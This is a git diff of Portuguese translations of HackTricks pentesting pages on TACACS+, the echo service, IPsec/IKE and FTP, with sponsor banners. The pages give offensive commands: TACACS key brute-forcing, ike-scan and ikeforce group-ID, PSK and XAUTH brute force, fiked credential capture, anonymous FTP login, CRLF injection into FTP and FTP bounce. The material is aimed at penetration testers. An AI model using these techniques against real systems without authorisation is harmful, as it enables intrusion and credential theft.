* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -1,4 +1,28 @@
|
|||
# Informações Básicas
|
||||
# 49 - Pentesting TACACS+
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
|
||||
```
|
||||
|
@ -13,7 +37,7 @@ Se a comunicação entre o cliente e o servidor TACACS for interceptada por um a
|
|||
|
||||
### Realizando um Ataque Man-in-the-Middle (MitM)
|
||||
|
||||
Um **ataque de ARP spoofing pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||
|
||||
### Força Bruta na Chave
|
||||
|
||||
|
@ -21,10 +45,10 @@ O [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para for
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado TACACS**.
|
||||
Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado do TACACS.**
|
||||
|
||||
### Descriptografando o Tráfego
|
||||
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidas.
|
||||
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado do TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidos.
|
||||
|
||||
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante observar que essas ações são estritamente para fins educacionais e não devem ser usadas sem autorização adequada.
|
||||
|
||||
|
@ -34,20 +58,20 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -14,16 +14,15 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Informações Básicas
|
||||
|
||||
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode ouvir nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\
|
||||
Um serviço de eco está em execução neste host. O serviço de eco foi destinado a fins de teste e medição e pode escutar nos protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificações.\
|
||||
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
|
@ -41,18 +40,18 @@ Hello echo #This is the response
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `port:7 echo`
|
||||
* `porta:7 echo`
|
||||
|
||||
## Referências
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 Ataque de Negação de Serviço de Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
[CA-1996-01 Ataque de Negação de Serviço na Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -63,7 +62,7 @@ Hello echo #This is the response
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -10,13 +10,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,13 +24,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
**IPsec** é amplamente reconhecido como a principal tecnologia para garantir a segurança das comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais.
|
||||
**IPsec** é amplamente reconhecido como a principal tecnologia para garantir comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais.
|
||||
|
||||
O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases:
|
||||
|
||||
- **Fase 1:** Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**.
|
||||
- **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha.
|
||||
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.
|
||||
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir dados com **ESP** e **AH**. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.
|
||||
|
||||
**Porta padrão:** 500/udp
|
||||
|
||||
|
@ -90,10 +90,10 @@ Você também poderia tentar forçar transformações com [**ikeforce**](https:/
|
|||
```
|
||||
![](<../.gitbook/assets/image (109).png>)
|
||||
|
||||
No **Grupo DH: 14 = 2048-bit MODP** e **15 = 3072-bit**\
|
||||
No **Grupo DH: 14 = MODP de 2048 bits** e **15 = 3072 bits**\
|
||||
**2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que utilizam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor).
|
||||
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor).
|
||||
|
||||
### Fingerprinting do servidor
|
||||
|
||||
|
@ -128,9 +128,9 @@ Isso também pode ser alcançado com o script do nmap _**ike-version**_
|
|||
Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\
|
||||
Para isso, eu recomendaria 2 métodos:
|
||||
|
||||
### Força bruta do ID com ike-scan
|
||||
### Força bruta do ID com o ike-scan
|
||||
|
||||
Primeiramente, tente fazer uma solicitação com um ID falso tentando obter o hash ("-P"):
|
||||
Primeiramente, tente fazer uma solicitação com um ID falso para tentar obter o hash ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
|
@ -138,13 +138,13 @@ Se **nenhum hash for retornado**, então provavelmente este método de força br
|
|||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan.
|
||||
Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar os nomes de grupo comuns usando o ike-scan.
|
||||
|
||||
Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (isso será um nome de grupo válido).
|
||||
Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).
|
||||
|
||||
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
||||
|
||||
Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupos comuns para forçá-los:
|
||||
Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o do seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupo comuns para forçá-los:
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
|
@ -164,7 +164,7 @@ Por padrão, o **ikeforce** enviará no início alguns IDs aleatórios para veri
|
|||
* Por fim, se o servidor não responder a nada às verificações, o **ikeforce** tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
|
||||
Obviamente, o objetivo de fazer força bruta no ID é obter o **PSK** quando você tem um ID válido. Em seguida, com o **ID** e o **PSK**, você terá que fazer força bruta no XAUTH (se estiver habilitado).
|
||||
|
||||
Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
||||
Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -204,13 +204,13 @@ Dessa forma, é possível capturar os dados do login usando o _fiked_ e verifica
|
|||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
### Ataque de MitM e bloqueio de tráfego na porta 500
|
||||
### Ataque de MitM e bloqueio de tráfego na porta 500 usando IPSec
|
||||
|
||||
Também, utilizando IPSec, tente realizar um ataque de MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia.
|
||||
|
||||
### Forçando XAUTH com brute force de usuário e senha usando ikeforce
|
||||
### Forçando XAUTH username e senha com ikeforce
|
||||
|
||||
Para forçar o **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
|
||||
Para forçar a **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
|
@ -259,7 +259,7 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -270,7 +270,7 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv
|
|||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -105,9 +105,9 @@ STAT
|
|||
```
|
||||
### Login anônimo
|
||||
|
||||
_anônimo : anônimo_\
|
||||
_anônimo :_\
|
||||
_ftp : ftp_
|
||||
_anônimo: anônimo_\
|
||||
_anônimo: _\
|
||||
_ftp: ftp_
|
||||
```bash
|
||||
ftp <IP>
|
||||
>anonymous
|
||||
|
@ -119,11 +119,11 @@ ftp <IP>
|
|||
```
|
||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Aqui você pode encontrar uma lista com credenciais ftp padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Aqui você pode encontrar uma lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Automatizado
|
||||
|
||||
Os testes de login anônimo e bounce FTP são realizados por padrão pelo nmap com a opção **-sC** ou:
|
||||
Os checks de login Anon e bounce FTP são realizados por padrão pelo nmap com a opção **-sC** ou:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
|
@ -133,7 +133,7 @@ Você pode se conectar a um servidor FTP usando um navegador (como o Firefox) us
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Observe que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar a codificação de URL dupla `%0d%0a` (na codificação de URL dupla isso é `%250d%250a`) bytes e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado pelo usuário, realizar varreduras de porta ou tentar se comunicar com outros serviços baseados em texto simples (como http).
|
||||
Note que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar a codificação de URL dupla `%0d%0a` (na codificação de URL dupla isso é `%250d%250a`) bytes e fazer com que o **servidor FTP execute ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado pelo usuário, realizar varreduras de porta ou tentar se comunicar com outros serviços baseados em texto simples (como http).
|
||||
|
||||
## Baixar todos os arquivos do FTP
|
||||
```bash
|
||||
|
@ -166,11 +166,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
## Ataque FTPBounce
|
||||
|
||||
Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para indicar ao servidor que você deseja se conectar a outro servidor FTP em alguma porta. Em seguida, você pode usar isso para escanear quais portas de um host estão abertas através de um servidor FTP.
|
||||
Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para indicar ao servidor que você deseja se conectar a outro servidor FTP em alguma porta. Então, você pode usar isso para escanear quais portas de um host estão abertas através de um servidor FTP.
|
||||
|
||||
[**Aprenda aqui como abusar de um servidor FTP para escanear portas.**](ftp-bounce-attack.md)
|
||||
|
||||
Você também pode abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **fazer upload de um arquivo contendo uma solicitação HTTP** e fazer o servidor FTP vulnerável **enviá-lo para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário administrador?_) ou até mesmo fazer upload de uma solicitação FTP e fazer o servidor FTP vulnerável baixar um arquivo para um servidor FTP diferente.\
|
||||
Você também pode abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **fazer upload de um arquivo contendo uma solicitação HTTP** e fazer com que o servidor FTP vulnerável **envie para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário administrador?_) ou até mesmo fazer upload de uma solicitação FTP e fazer com que o servidor FTP vulnerável faça o download de um arquivo para um servidor FTP diferente.\
|
||||
A teoria é simples:
|
||||
|
||||
1. **Faça upload da solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você deseja falar com outro servidor HTTP ou FTP, precisa alterar as linhas com `0x0d 0x0a`
|
||||
|
@ -178,7 +178,7 @@ A teoria é simples:
|
|||
3. **Use `PORT` para se conectar ao servidor e serviço arbitrários**
|
||||
4. **Use `RETR` para enviar a solicitação salva para o servidor.**
|
||||
|
||||
É altamente provável que isso **resulte em um erro como** _**Socket not writable**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são:
|
||||
É altamente provável que isso **resulte em um erro como** _**Socket não gravável**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são:
|
||||
|
||||
* Se estiver enviando uma solicitação HTTP, **coloque a mesma solicitação uma após a outra** até **\~0.5MB** pelo menos. Assim:
|
||||
|
||||
|
@ -193,7 +193,7 @@ De qualquer forma, aqui está um [exemplo antigo de como abusar disso para fazer
|
|||
|
||||
## Vulnerabilidade do Servidor Filezilla
|
||||
|
||||
O **FileZilla** geralmente **vincula** a um **serviço administrativo local** para o **FileZilla-Server** (porta 14147). Se você puder criar um **túnel** da **sua máquina** para acessar esta porta, você pode **conectar-se** a **ela** usando uma **senha em branco** e **criar** um **novo usuário** para o serviço FTP.
|
||||
O **FileZilla** geralmente **se vincula** a um **serviço administrativo local** para o **FileZilla-Server** (porta 14147). Se você puder criar um **túnel** da **sua máquina** para acessar esta porta, você pode **conectar-se** a **ela** usando uma **senha em branco** e **criar** um **novo usuário** para o serviço FTP.
|
||||
|
||||
## Arquivos de configuração
|
||||
```
|
||||
|
@ -210,7 +210,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq
|
|||
- `anon_upload_enable=YES`
|
||||
- `anon_mkdir_write_enable=YES`
|
||||
- `anon_root=/home/username/ftp` - Diretório para anônimos.
|
||||
- `chown_uploads=YES` - Alterar a propriedade dos arquivos enviados anonimamente
|
||||
- `chown_uploads=YES` - Alterar a propriedade de arquivos enviados anonimamente
|
||||
- `chown_username=username` - Usuário que recebe a propriedade dos arquivos enviados anonimamente
|
||||
- `local_enable=YES` - Permitir que usuários locais façam login
|
||||
- `no_anon_password=YES` - Não solicitar senha para anônimos
|
||||
|
@ -225,7 +225,7 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -287,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
